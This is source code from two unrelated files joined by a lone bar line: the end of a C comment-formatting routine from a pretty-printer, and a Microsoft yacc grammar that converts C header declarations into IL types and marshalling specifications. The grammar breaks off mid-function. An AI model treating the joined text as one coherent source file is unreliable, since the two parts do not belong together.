/* If we're at the end of a formatter row, then the comment will
be a row of its own, so emit a NoAlign op. NoAlign rows must
emit their own leading newline, but not the trailing one. */
alignRow = 0;
if (iComment < nComments || comments[nComments].NLs > 1) {
Formatter__NoAlign(formatter);
GR();
needEnd = 1;
}
if (comments[nComments].NLs > 0)
--comments[nComments].NLs;
}
}
/* Either print a space or goto the comment column for a comment on the
same line as preceding code. */
if (firstTime && comments[0].NLs == 0 && !initNPS) {
if (nComments == 1 && comments[1].NLs == 0)
P(' ');
else
Formatter__Col(formatter, commentCol, 0, bodySpaceWidth);
}
/* If we're flushing comments in preperation to doing a break, remove one
last newline, and set blanklinep appropriately. I believe that this
code and the align code above should never both execute in the same
invocation of HandleComments. */
if (doBreak && comments[nComments].NLs > 0) {
--comments[nComments].NLs;
blanklinep = 1;
}
for (;; ++iComment) {
/* The first time, bail out at the first newline. */
if (firstTime &&
(iComment >= nComments || comments[iComment].NLs > comBreakNLs)) {
moreComments = 1;
break;
}
for (i = 0; i < comments[iComment].NLs; ++i) {
Formatter__NewLine(formatter, 0.0, 0);
}
/* break in middle since last comment struct has no comment text. */
if (iComment >= nComments)
break;
/* Handle the comment */
s = comments[iComment].text;
if (FixedComment(s)) {
/* Comment that should not be reformated. Each line should be
output unchanged except for indentation. */
startCol = comments[iComment].startCol;
BE(0.0);
Formatter__SetFont(formatter, fonts->fixedComment);
while (*s != 0) {
/* Emit the text of the line (we're already at the right
place for the first line). */
while (*s != 0 && *s != '\n')
P(*s++);
if (*s == 0)
break;
/* Skip the newline. */
++s;
/* Count white space at beginning of the next line. */
ws = 0;
while ((c = *s) == ' ' || c == '\t') {
if (c == ' ')
++ws;
else
ws = (ws + 8) & ~7;
++s;
}
/* And emit the right amount to indent this line properly. */
Formatter__NewLine(formatter,
fixedCommentSpaceWidth * (ws - startCol), 0);
}
Formatter__SetFont(formatter, fonts->body);
EN();
}
else {
/* Comment should be reformatted, so parse words and refill.
Lines that begin with a vertical bar ('|') are special and
should not be filled. */
int specialLine = FALSE; /* this "word" is a special line */
int prevSpecial = FALSE; /* last one was */
int nls;
int sentenceBreak = FALSE; /* last word ended sentence. */
startCol = comments[iComment].startCol;
BE(commentLeaderWidth);
Formatter__SetFont(formatter, fonts->comment);
P(*s++); /* '(' */
P(*s++); /* '*' */
while (*s != 0) {
/* Once around per word or special line. */
nls = 0;
prevSpecial = specialLine;
specialLine = FALSE;
while (IsWhite(*s)) {
if (*s == '\n') {
++nls;
/* Check for special line. */
if (s[1] == '|') {
++s;
specialLine = TRUE;
break;
}
}
++s;
}
/* Deal with special lines. */
if (specialLine) {
while (nls-- > 0)
Formatter__NewLine(formatter, -MAXWIDTH, 0);
Formatter__SetFont(formatter, fonts->fixedComment);
/* Count white space at beginning of this comment. */
ws = 1; /* count the | for now */
P(*s++); /* and print it */
while ((c = *s) == ' ' || c == '\t') {
if (c == ' ')
++ws;
else
ws = (ws + 8) & ~7;
++s;
}
/* Emit the right amount to move indent this line
properly. */
Formatter__Col(formatter,
fixedCommentSpaceWidth * (ws - startCol - 3),
1, 0.0);
while (*s != '\n' && *s != 0)
P(*s++);
Formatter__SetFont(formatter, fonts->comment);
}
else {
/* If more than one newline we have a paragraph break.
Emit the newlines. */
if (nls > 1 || prevSpecial) {
while (nls-- > 0)
Formatter__NewLine(formatter, 0.0, 0);
}
/* Word break. */
else {
/* Avoid space if there was no leading white space. */
if (s != comments[iComment].text + 2)
Formatter__PutChar(formatter, ' ');
/* Don't break before the end of the comment. This
should also check for first word, but doesn't yet. */
if (strcmp(s, "*)") != 0) {
if (sentenceBreak)
Formatter__PutChar(formatter, ' ');
Formatter__Break(formatter, 0.0, 0, 1);
}
}
/* Emit the word. */
while (!IsWhite(*s) && *s != 0)
P(*s++);
sentenceBreak = index(".!?", s[-1]) != 0;
}
}
Formatter__SetFont(formatter, fonts->body);
EN();
}
}
if (needEnd)
EN();
}
|
%{
// ==++==
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//
// ==--==
#include <hparse.h>
#include <crtdbg.h> // FOR ASSERTE
#include <string.h> // for strcmp
#include <ctype.h> // for isspace
#include <stdlib.h> // for strtoul
#include <stdarg.h> // for vararg macros
#define YYMAXDEPTH 65535
//#define DEBUG_PARSING
#ifdef DEBUG_PARSING
bool parseDBFlag = true;
#define dbprintf(x) if (parseDBFlag) printf x
#define YYDEBUG 1
#else
#define dbprintf(x)
#endif
#define FAIL_UNLESS(cond, msg) if (!(cond)) { parser->success = false; parser->error msg; }
//#define _Delete(x) { delete (x); x=NULL; }
static HParse* parser = 0;
static char* newStringWDel(char* str1, char* str2, char* str3 = 0);
static char* newString(char* str1);
static char * MakeId(char* szName);
bool bExternSource = FALSE;
int nExtLine;
extern BOOL g_fReduceNames;
%}
%union {
double* float64;
__int64* int64;
__int32 int32;
char* string;
BinStr* binstr;
int instr; // instruction opcode
};
/* These are returned by the LEXER and have values */
%token ERROR_ BAD_COMMENT_ BAD_LITERAL_ /* bad strings, */
%token <string> ID /* testing343 */
%token <binstr> QSTRING /* "Hello World\n" */
%token <string> SQSTRING /* 'Hello World\n' */
%token <int32> INT32 /* 3425 0x34FA 0352 */
%token <int64> INT64 /* 342534523534534 0x34FA434644554 */
%token <float64> FLOAT64 /* -334234 24E-34 */
%token <int32> HEXBYTE /* 05 1A FA */
/* multi-character punctuation */
%token DCOLON /* :: */
%token ELIPSES /* ... */
/* Pragma keywords Note the undersores are to avoid collisions as these are common names */
%token PRAGMA_ PACK_ POP_ PUSH_ ONCE_ WARNING_ DISABLE_ DEFAULT_ FUNCTION_ _ENABLE_ _DISABLE_
%token COMMENT_ LIB_
/* Generic C type keywords */
%token VOID_ BOOL_ CHAR_ UNSIGNED_ SIGNED_ INT_ INT8_ INT16_ INT32_ INT64_ FLOAT_
%token LONG_ SHORT_ DOUBLE_ CONST_ EXTERN_ WCHAR_
/* misc keywords */
%token TYPEDEF_ CDECL_ _CDECL_ STRUCT_ UNION_ ENUM_ STDCALL_ _DECLSPEC_ DLLIMPORT_ NORETURN_
%token __INLINE_ _INLINE_ INLINE_ FORCEINLINE_
/* nonTerminals */
%type <string> id callConv
%type <int32> int32 int32expr int32mul int32elem int32add int32band int32shf int32bnot
%type <float64> float64
%type <int64> int64
%type <binstr> type typeName typeNames dimensions dimension sigArgs0 sigArgs1 sigArg funcTypeHead memberName memberNames
%start decls
/**************************************************************************/
%%
decls : /* EMPTY */
| decls decl
;
decl : pragmaDecl
| typedefDecl
| memberDecl
| funcDecl
;
pragmaDecl : PRAGMA_ ONCE_ { ; }
| PRAGMA_ WARNING_ '(' DISABLE_ ':' int32 ')' { ; }
| PRAGMA_ WARNING_ '(' DEFAULT_ ':' int32 ')' { ; }
| PRAGMA_ WARNING_ '(' PUSH_ ')' { ; }
| PRAGMA_ WARNING_ '(' POP_ ')' { ; }
| PRAGMA_ FUNCTION_ '(' _ENABLE_ ')' { ; }
| PRAGMA_ FUNCTION_ '(' _DISABLE_ ')' { ; }
| PRAGMA_ COMMENT_ '(' LIB_ ',' QSTRING ')' { delete $6; }
| PRAGMA_ PACK_ '(' int32 ')' { parser->SetPack( $4 ); }
| PRAGMA_ PACK_ '(' POP_ ')' { parser->PopPack(); }
| PRAGMA_ PACK_ '(' PUSH_ ')' { parser->PushPack(); }
| PRAGMA_ PACK_ '(' PUSH_ ',' int32 ')' { parser->PushPack(); parser->SetPack( $6 ); }
;
typedefDecl : TYPEDEF_ type typeNames ';' { parser->EmitTypes($3,TRUE); delete $3; parser->m_pCurrILType->bConst=FALSE; }
| TYPEDEF_ type type ';' { delete $2; delete $3; parser->m_pCurrILType->bConst=FALSE; } /* for "wchar_t" */
;
typeNames : typeName { $$ = $1; }
| typeNames ',' typeName { $$ = $1; $$->appendInt8('#'); $$->append($3); delete $3; }
;
typeName : memberName { $$ = $1; }
| funcTypeHead sigArgs0 ')' { $$ = $1; $$->append($2); $$->appendInt8(')'); delete $2;
delete parser->m_pCurrILType;
parser->m_pCurrILType = parser->m_ILTypeStack.POP(); }
;
memberNames : memberName { $$ = $1; }
| memberNames ',' memberName { $$ = $1; $$->appendInt8('#'); $$->append($3); delete $3; }
;
memberName : id { $$ = new BinStr(); $$->appendStr($1); delete $1; }
| id ':' dimension { $$ = new BinStr(); $$->appendStr($1); delete $1;
$$->appendInt8(':'); $$->append($3); delete $3; }
| ':' dimension { $$ = new BinStr();
$$->appendInt8(':'); $$->append($2); delete $2; }
| '*' memberName { $$ = $2; $$->insertInt8('*'); }
| CONST_ '*' memberName { $$ = $3; $$->insertInt8('*'); }
| memberName '[' dimensions ']' { $$ = $1;
if($3->length())
{
$$->appendInt8('['); $$->append($3);
$$->appendInt8(']');
}
else $$->insertInt8('*');
delete $3;
}
;
funcTypeHead : '(' callConv '*' id ')' '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendStr($2); $$->appendInt8('^');
$$->appendStr($4); $$->appendInt8('('); delete $4;
}
| '(' callConv id ')' '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendStr($2); $$->appendInt8('^');
$$->appendStr($3); $$->appendInt8('('); delete $3;
}
| callConv '*' id '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendStr($1); $$->appendInt8('^');
$$->appendStr($3); $$->appendInt8('(');
}
| callConv id '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendStr($1); $$->appendInt8('^');
$$->appendStr($2); $$->appendInt8('(');
}
| '(' '*' id ')' '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendInt8('^');
$$->appendStr($3); $$->appendInt8('(');
}
/*
| '*' id '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendInt8('^');
$$->appendStr($2); $$->appendInt8('(');
}
| id '(' { parser->m_ILTypeStack.PUSH(parser->m_pCurrILType);
parser->m_pCurrILType = new ILType;
$$ = new BinStr(); $$->appendInt8('^');
$$->appendInt8('^');
$$->appendStr($1); $$->appendInt8('(');
}
*/
;
dimensions : dimension { $$ = $1; }
| dimensions ']' '[' dimension { $$ = $1; $$->appendInt8(','); $$->append($4); delete $4;}
;
dimension : /* EMPTY */ { $$ = new BinStr(); }
| int32expr { char sz[256]; sprintf(sz,"%d",$1); $$ = new BinStr();
$$->appendStr(sz); }
;
int32expr : int32band { $$ = $1; }
| int32band '|' int32band { $$ = $1 | $3; }
;
int32band : int32shf { $$ = $1; }
| '(' int32expr ')' { $$ = $2; }
| int32shf '&' int32shf { $$ = $1 & $3; }
;
int32shf : int32add { $$ = $1; }
| '(' int32expr ')' { $$ = $2; }
| int32add '>' '>' int32add { $$ = $1 >> $4; }
| int32add '<' '<' int32add { $$ = $1 << $4; }
;
int32add : int32mul { $$ = $1; }
| '(' int32expr ')' { $$ = $2; }
| int32mul '+' int32mul { $$ = $1 + $3; }
| int32mul '-' int32mul { $$ = $1 - $3; }
;
int32mul : int32bnot { $$ = $1; }
| '(' int32expr ')' { $$ = $2; }
| int32bnot '*' int32bnot { $$ = $1 * $3; }
| int32bnot '/' int32bnot { $$ = $1 / $3; }
| int32bnot '%' int32bnot { $$ = $1 % $3; }
;
int32bnot : int32elem { $$ = $1; }
| '(' int32expr ')' { $$ = $2; }
| '~' int32bnot { $$ = ~$2; }
;
int32elem : int32 { $$ = $1; }
| id { $$ = parser->ResolveVar($1); delete $1; }
;
type : VOID_ { strcpy(parser->m_pCurrILType->szString,"void");
strcpy(parser->m_pCurrILType->szMarshal,"");
parser->m_pCurrILType->iSize = 0;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| BOOL_ { strcpy(parser->m_pCurrILType->szString,"bool");
strcpy(parser->m_pCurrILType->szMarshal,"bool");
parser->m_pCurrILType->iSize = sizeof(bool);
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| CHAR_ { strcpy(parser->m_pCurrILType->szString,
parser->m_pCurrILType->bConst? "class System.String"
: "class System.StringBuilder");
parser->m_pCurrILType->iSize = 1;
strcpy(parser->m_pCurrILType->szMarshal,"char");
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| WCHAR_ { strcpy(parser->m_pCurrILType->szString,
parser->m_pCurrILType->bConst? "class System.String"
: "class System.StringBuilder");
strcpy(parser->m_pCurrILType->szMarshal,"wchar");
parser->m_pCurrILType->iSize = 2;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| INT_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"int");
parser->m_pCurrILType->iSize = sizeof(int);
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| INT8_ { strcpy(parser->m_pCurrILType->szString,"unsigned int8");
strcpy(parser->m_pCurrILType->szMarshal,"int8");
parser->m_pCurrILType->iSize = 1;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| INT16_ { strcpy(parser->m_pCurrILType->szString,"int16");
strcpy(parser->m_pCurrILType->szMarshal,"int16");
parser->m_pCurrILType->iSize = 2;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| SHORT_ { strcpy(parser->m_pCurrILType->szString,"int16");
strcpy(parser->m_pCurrILType->szMarshal,"int16");
parser->m_pCurrILType->iSize = 2;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| INT32_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"int32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| LONG_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"int32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| INT64_ { strcpy(parser->m_pCurrILType->szString,"int64");
strcpy(parser->m_pCurrILType->szMarshal,"int64");
parser->m_pCurrILType->iSize = 8;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ CHAR_ { strcpy(parser->m_pCurrILType->szString,"unsigned int8");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int8");
parser->m_pCurrILType->iSize = 1;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ INT_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ INT8_ { strcpy(parser->m_pCurrILType->szString,"unsigned int8");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int8");
parser->m_pCurrILType->iSize = 1;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ INT16_ { strcpy(parser->m_pCurrILType->szString,"int16");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int16");
parser->m_pCurrILType->iSize = 2;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ SHORT_ { strcpy(parser->m_pCurrILType->szString,"int16");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int16");
parser->m_pCurrILType->iSize = 2;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ INT32_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ LONG_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ INT64_ { strcpy(parser->m_pCurrILType->szString,"int64");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int64");
parser->m_pCurrILType->iSize = 8;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| UNSIGNED_ { strcpy(parser->m_pCurrILType->szString,"int32");
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| FLOAT_ { strcpy(parser->m_pCurrILType->szString,"float32");
strcpy(parser->m_pCurrILType->szMarshal,"float32");
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| DOUBLE_ { strcpy(parser->m_pCurrILType->szString,"float64");
strcpy(parser->m_pCurrILType->szMarshal,"float64");
parser->m_pCurrILType->iSize = 8;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| STRUCT_ id { strcpy(parser->m_pCurrILType->szString,"value class ");
if(strlen(parser->m_szGlobalNS))
{
strcat(parser->m_pCurrILType->szString,parser->m_szGlobalNS);
strcat(parser->m_pCurrILType->szString,".");
}
strcat(parser->m_pCurrILType->szString, ReduceId($2)); delete $2;
parser->m_pCurrILType->szMarshal[0] = 0;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString); }
| UNION_ id { strcpy(parser->m_pCurrILType->szString,"value class ");
if(strlen(parser->m_szGlobalNS))
{
strcat(parser->m_pCurrILType->szString,parser->m_szGlobalNS);
strcat(parser->m_pCurrILType->szString,".");
}
strcat(parser->m_pCurrILType->szString, ReduceId($2)); delete $2;
parser->m_pCurrILType->szMarshal[0] = 0;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString); }
| structHead memberDecls '}' { parser->CloseClass();
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString); }
| unionHead memberDecls '}' { parser->CloseClass();
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString); }
| enumHead enumDecls '}' { parser->CloseClass();
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString); }
| id { parser->ResolveTypeRef($1);
if(!strcmp(parser->m_pCurrILType->szMarshal,"char")
||(!strcmp(parser->m_pCurrILType->szMarshal,"wchar")))
{
strcpy(parser->m_pCurrILType->szString,
parser->m_pCurrILType->bConst? "class System.String"
: "class System.StringBuilder");
}
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| type '*' { if(strstr(parser->m_pCurrILType->szString,"class System.String")==NULL)
{
if(strstr(parser->m_pCurrILType->szString,"value class"))
{
strcat(parser->m_pCurrILType->szString,"&");
strcpy(parser->m_pCurrILType->szMarshal, "");
} else {
strcpy(parser->m_pCurrILType->szString,"int32");
strcat(parser->m_pCurrILType->szMarshal, "*");
}
} else {
if(!strcmp(parser->m_pCurrILType->szMarshal,"char"))
strcpy(parser->m_pCurrILType->szMarshal,"lpstr");
else
if(!strcmp(parser->m_pCurrILType->szMarshal,"wchar"))
strcpy(parser->m_pCurrILType->szMarshal,"lpwstr");
else
{
strcat(parser->m_pCurrILType->szString,"&");
strcat(parser->m_pCurrILType->szMarshal, "*");
}
}
parser->m_pCurrILType->iSize = 4;
$$ = new BinStr(); $$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0); $$->appendStr(parser->m_pCurrILType->szMarshal);
}
| typeModifier type { $$ = $2; }
| type typeModifier { $$ = $1; }
| type '(' callConv '*' ')' '(' sigArgs0 ')' { parser->FuncPtrType($1, $3, $7);
delete $1; delete $7;
$$ = new BinStr();
$$->appendStr(parser->m_pCurrILType->szString);
$$->appendInt8(0);
$$->appendStr(parser->m_pCurrILType->szMarshal);
parser->m_pCurrILType->iSize = 4;
}
;
typeModifier : CONST_ { parser->m_pCurrILType->bConst = TRUE; }
| EXTERN_ { ; }
| _DECLSPEC_ '(' DLLIMPORT_ ')' { ; }
| _DECLSPEC_ '(' NORETURN_ ')' { ; }
| SIGNED_ { ; }
;
structHead : STRUCT_ id '{' { parser->StartStruct($2); delete $2; }
| STRUCT_ '{' { parser->StartStruct(NULL); }
;
unionHead : UNION_ id '{' { parser->StartUnion($2); delete $2; }
| UNION_ '{' { parser->StartUnion(NULL); }
;
enumHead : ENUM_ id '{' { parser->StartEnum($2); delete $2; }
| ENUM_ '{' { parser->StartEnum(NULL); }
;
memberDecls : /* EMPTY */
| memberDecls sMemberDecl
;
sMemberDecl : type typeNames ';' { parser->EmitTypes($2,FALSE); parser->m_pCurrILType->bConst = FALSE; }
| type ';' { parser->EmitField(NULL); parser->m_pCurrILType->bConst = FALSE; }
;
memberDecl : type memberNames ';' { parser->EmitTypes($2,FALSE); parser->m_pCurrILType->bConst = FALSE; }
| type ';' { parser->EmitField(NULL); parser->m_pCurrILType->bConst = FALSE; }
;
enumDecls : enumDecl
| enumDecl ',' enumDecls
;
enumDecl : /* EMPTY */ { ; }
| id { parser->EmitEnumField($1,parser->m_iEnumValue);
parser->AddVar($1,parser->m_iEnumValue++); delete $1; }
| id '=' int32expr { parser->m_iEnumValue = $3;
parser->EmitEnumField($1,parser->m_iEnumValue);
parser->AddVar($1,parser->m_iEnumValue++); delete $1; }
;
id : ID { $$ = MakeId($1); }
| COMMENT_ { $$ = new char[8]; strcpy($$,"comment"); }
;
int32 : INT64 { $$ = (__int32)(*$1); delete $1; }
;
int64 : INT64 { $$ = $1; }
;
float64 : FLOAT64 { $$ = $1; }
;
funcDecl : type callConv memberName '(' sigArgs0 ')' ';' { parser->EmitFunction($1,$2,$3,$5);
delete $1; delete $3; delete $5;
parser->m_pCurrILType->bConst = FALSE; }
| type memberName '(' sigArgs0 ')' ';' { parser->EmitFunction($1,"",$2,$4);
delete $1; delete $2; delete $4;
parser->m_pCurrILType->bConst = FALSE; }
;
callConv : CDECL_ { $$ = "cdecl"; }
| _CDECL_ { $$ = "cdecl"; }
| STDCALL_ { $$ = "stdcall"; }
| _DECLSPEC_ '(' DLLIMPORT_ ')' callConv { $$ = $5; }
| _DECLSPEC_ '(' NORETURN_ ')' callConv { $$ = $5; }
;
sigArgs0 : /* EMPTY */ { $$ = new BinStr(); }
| sigArgs1 { $$ = $1;}
;
sigArgs1 : sigArg { $$ = $1; }
| sigArgs1 ',' sigArg { $$ = $1; $$->appendInt8(','); $$->append($3);
delete $3; }
;
sigArg : ELIPSES { $$ = new BinStr(); $$->appendStr("..."); }
| type { $$ = new BinStr();
if(!strcmp(parser->m_pCurrILType->szMarshal,"char"))
{
strcpy(parser->m_pCurrILType->szMarshal,"int8");
strcpy(parser->m_pCurrILType->szString,"unsigned int8");
}
else if(!strcmp(parser->m_pCurrILType->szMarshal,"wchar"))
{
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int16");
strcpy(parser->m_pCurrILType->szString,"int16");
}
$$->appendStr(parser->m_pCurrILType->szString);
if(strlen(parser->m_pCurrILType->szMarshal))
{
$$->appendStr(" marshal(");
$$->appendStr(parser->m_pCurrILType->szMarshal);
$$->appendStr(")");
}
parser->m_pCurrILType->bConst = FALSE;
}
| type id { $$ = new BinStr();
if(!strcmp(parser->m_pCurrILType->szMarshal,"char"))
{
strcpy(parser->m_pCurrILType->szMarshal,"int8");
strcpy(parser->m_pCurrILType->szString,"unsigned int8");
}
else if(!strcmp(parser->m_pCurrILType->szMarshal,"wchar"))
{
strcpy(parser->m_pCurrILType->szMarshal,"unsigned int16");
strcpy(parser->m_pCurrILType->szString,"int16");
}
$$->appendStr(parser->m_pCurrILType->szString);
if(strlen(parser->m_pCurrILType->szMarshal))
{
$$->appendStr(" marshal(");
$$->appendStr(parser->m_pCurrILType->szMarshal);
$$->appendStr(")");
}
$$->appendInt8(' ');
$$->appendStr($2); delete $2;
parser->m_pCurrILType->bConst = FALSE;
}
| type id '[' dimensions ']' { if(strstr(parser->m_pCurrILType->szString,"class System.String")==NULL)
{
if($4->length())
strcpy(parser->m_pCurrILType->szMarshal, "fixed array [");
else
strcat(parser->m_pCurrILType->szMarshal,"[");
strcat(parser->m_pCurrILType->szString,"[]");
} else {
strcpy(parser->m_pCurrILType->szMarshal,"fixed sysstring [");
if($4->length() == 0)
strcat(parser->m_pCurrILType->szMarshal,"0");
}
$4->appendInt8(0);
strcat(parser->m_pCurrILType->szMarshal, (char *)($4->ptr()));
delete $4;
strcat(parser->m_pCurrILType->szMarshal, "] ");
$$ = new BinStr();
$$->appendStr(parser->m_pCurrILType->szString);
$$->appendStr(" marshal(");
$$->appendStr(parser->m_pCurrILType->szMarshal);
$$->appendStr(") ");
$$->appendStr($2); delete $2;
parser->m_pCurrILType->bConst = FALSE;
}
| type '[' dimensions ']' { if(strstr(parser->m_pCurrILType->szString,"class System.String")==NULL)
{
if($3->length())
strcpy(parser->m_pCurrILType->szMarshal, "fixed array [");
else
strcat(parser->m_pCurrILType->szMarshal,"[");
strcat(parser->m_pCurrILType->szString,"[]");
} else {
strcpy(parser->m_pCurrILType->szMarshal,"fixed sysstring [");
if($3->length() == 0)
strcat(parser->m_pCurrILType->szMarshal,"0");
}
$3->appendInt8(0);
strcat(parser->m_pCurrILType->szMarshal, (char *)($3->ptr()));
delete $3;
strcat(parser->m_pCurrILType->szMarshal, "] ");
$$ = new BinStr();
$$->appendStr(parser->m_pCurrILType->szString);
$$->appendStr(" marshal(");
$$->appendStr(parser->m_pCurrILType->szMarshal);
$$->appendStr(")");
parser->m_pCurrILType->bConst = FALSE;
}
| type funcTypeHead sigArgs0 ')' { $2->append($3); $2->appendInt8(')'); delete $3;
delete parser->m_pCurrILType;
parser->m_pCurrILType = parser->m_ILTypeStack.POP();
$$ = parser->FuncPtrDecl($1,$2); delete $1; delete $2;
parser->m_pCurrILType->bConst = FALSE;
}
;
%%
/********************************************************************************/
/* Code goes here */
/********************************************************************************/
void yyerror(char* str) {
char tokBuff[64];
char *ptr;
unsigned len = parser->curPos - parser->curTok;
if (len > 63) len = 63;
memcpy(tokBuff, parser->curTok, len);
tokBuff[len] = 0;
// FIX NOW go to stderr
fprintf(stdout, "%s(%d) : error : %s at token '%s' in: %s\n",
parser->in->name(), parser->curLine, str, tokBuff, (ptr=parser->getLine(parser->curLine)));
parser->success = false;
delete ptr;
}
struct Keywords {
const char* name;
unsigned short token;
unsigned short tokenVal;// this holds the instruction enumeration for those keywords that are instrs
};
#define NO_VALUE -1 // The token has no value
static Keywords keywords[] = {
/* keywords */
#define KYWD(name, sym, val) { name, sym, val},
#include "h_kywd.h"
#undef KYWD
};
/********************************************************************************/
/* used by qsort to sort the keyword table */
static int __cdecl keywordCmp(const void *op1, const void *op2)
{
return strcmp(((Keywords*) op1)->name, ((Keywords*) op2)->name);
}
/********************************************************************************/
/* looks up the keyword 'name' of length 'nameLen' (name does not need to be
null terminated) Returns 0 on failure */
static int findKeyword(const char* name, unsigned nameLen, int* value) {
Keywords* low = keywords;
Keywords* high = &keywords[sizeof(keywords) / sizeof(Keywords)];
_ASSERTE (high > low); // Table is non-empty
for(;;) {
Keywords* mid = &low[(high - low) / 2];
// compare the strings
int cmp = strncmp(name, mid->name, nameLen);
if (cmp == 0 && nameLen < strlen(mid->name))
--cmp;
if (cmp == 0)
{
//printf("Token '%s' = %d opcode = %d\n", mid->name, mid->token, mid->tokenVal);
if (mid->tokenVal != NO_VALUE)
*value = mid->tokenVal;
return(mid->token);
}
if (mid == low)
return(0);
if (cmp > 0)
low = mid;
else
high = mid;
}
}
/********************************************************************************/
/* convert str to a uint64 */
static unsigned __int64 str2uint64(const char* str, const char** endStr, unsigned radix)
{
